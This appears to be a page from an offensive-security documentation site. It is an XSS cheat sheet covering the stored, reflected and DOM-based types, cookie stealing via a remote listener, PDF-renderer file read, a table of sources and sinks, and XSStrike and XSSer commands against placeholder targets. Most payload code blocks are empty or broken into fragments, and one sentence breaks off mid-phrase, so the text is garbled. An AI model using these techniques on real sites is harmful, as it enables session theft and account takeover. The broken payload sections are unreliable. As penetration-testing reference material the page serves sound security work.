> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # XSS (Cross-Site Scripting) XSS happens when user input ends up in a page without being properly sanitized, letting an attacker inject JavaScript that runs in another user's browser, in their session, with their cookies, their DOM access, everything. It's a client-side bug, but it's one of the few web vulnerabilities that routinely leads straight to account takeover, since the victim's browser does the attacker's work for them. > **Stored XSS** > > Payload gets saved server-side (a comment, a profile field) and fires for every visitor who views that page later. Highest impact, hits anyone who views the page. > **Reflected XSS** > > Payload comes back in the response immediately, usually from a URL parameter or search box. Needs a victim to click a crafted link. > [!NOTE] > > **DOM-based XSS** is really a third axis, not a competitor to the above: the payload never touches the server at all, a client-side script reads attacker-controlled data (`location.hash`, `document.URL`, a URL parameter) and writes it into a dangerous sink (`innerHTML`, `eval`, `document.write`) itself. It can be either stored or reflected in terms of where the data originates, but the vulnerability lives entirely in JavaScript, not server-side templating. *** ## Basic Payloads Start simple and work up, a bare ` ``` If you're injecting into an existing HTML attribute, you need to break out of the quote first. ```html theme={null} "> "> > > ``` > > > [!NOTE] > > > > See also [Polygot XSS - Payloads All The Things](https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/2%20-%20XSS%20Polyglot/) for more commands *** ## Stealing Cookies Loading a remote script is the cleanest way to deliver a larger payload without cramming everything into the injection point itself. ```html theme={null} ``` A one-liner that exfiltrates the victim's cookies to a listener via an image request, works even when the target blocks outbound `
Sources (attacker-influenced input) Sinks (dangerous if unsanitized)
`location.hash`, `location.search` `innerHTML`, `outerHTML`
`document.URL`, `document.referrer` `document.write()` / `document.writeln()`
`window.name` `eval()`, `setTimeout(string)`, `setInterval(string)`
URL parameters read via JS `element.setAttribute()` on event/href attributes
> [!NOTE] > > HTML injection inside a server-rendered PDF (via a headless browser like wkhtmltopdf or a Chrome-based renderer) is a DOM-XSS-adjacent bug worth knowing: if user input reaches the HTML that gets rendered into a PDF, the renderer's own JavaScript engine can be abused for local file read or SSRF, since the renderer often runs with far fewer restrictions than a normal browser tab. See [SSRF to local file read through HTML injection in a PDF](https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f) and [finding SSRF via HTML injection inside a PDF on AWS EC2](https://appsecco.com/blog/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2) for real-world writeups. If the renderer's JS engine allows `XMLHttpRequest` against the `file://` scheme (several headless PDF renderers historically did), this reads a local file and writes its contents straight into the rendered output. ```html theme={null} ``` *** ## Automated Tools **XSStrike** Fuzzes a parameter intelligently, builds its own payloads based on what the app reflects back rather than just throwing a static list. ```text theme={null} python xsstrike.py -u "http://TARGET_IP:PORT/index.php?task=test" ``` **XSSer** Older but still useful, especially for quickly checking a parameter once you already suspect it's injectable. ```text theme={null} xsser --url "http://TARGET.TLD" -p "param=XSS" ``` A GTK interface is available for a more visual workflow. ```text theme={null} xsser --gtk ``` > [!TIP] > > XSStrike, BruteXSS, and XSSer cover most automated-detection needs between them, XSStrike is generally the strongest first choice for its context-aware fuzzing. *** ## Quick Reference Tools > **[HackTricks: XSS](https://github.com/HackTricks-wiki/hacktricks/tree/master/src/pentesting-web/xss-cross-site-scripting)** > > Deep, continuously updated collection of payloads and bypasses by context. > **[PayloadsAllTheThings: XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)** > > Large categorized payload collection. > **[xss-payload-list](https://github.com/payload-box/xss-payload-list)** > > Flat all-in-one payload list, good for quick fuzzing. > **[OWASP XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)** > > The canonical reference for encoding and filter-bypass tricks. > **[XSStrike](https://github.com/s0md3v/XSStrike)** > > Context-aware XSS detection and fuzzing. > **[XSSer](https://github.com/epsylon/xsser)** > > Automated XSS detection with an optional GTK UI. > [!WARNING] > > Cookie stealers and anything that exfiltrates data to an external listener are active exploitation, not just a proof of concept. Make sure that's explicitly in scope before moving past a plain `alert()`. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.